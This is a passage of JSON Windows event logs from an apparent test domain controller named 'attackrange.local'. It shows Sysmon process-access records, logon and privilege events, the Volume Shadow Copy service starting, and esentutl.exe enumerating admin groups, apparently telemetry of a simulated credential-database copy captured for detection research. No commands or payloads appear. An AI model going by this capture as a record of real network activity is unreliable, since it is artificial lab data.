11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5495,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5496,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5497,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222011,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t5\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x354\r\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":"5","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222012,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\r\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76847,"ProcessID":852,"ThreadID":1152,"Channel":"System","Message":"The Volume Shadow Copy service entered the running state.","param1":"Volume Shadow Copy","param2":"running","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222013,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222014,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222015,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222016,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222017,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222018,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222019,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222020,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess 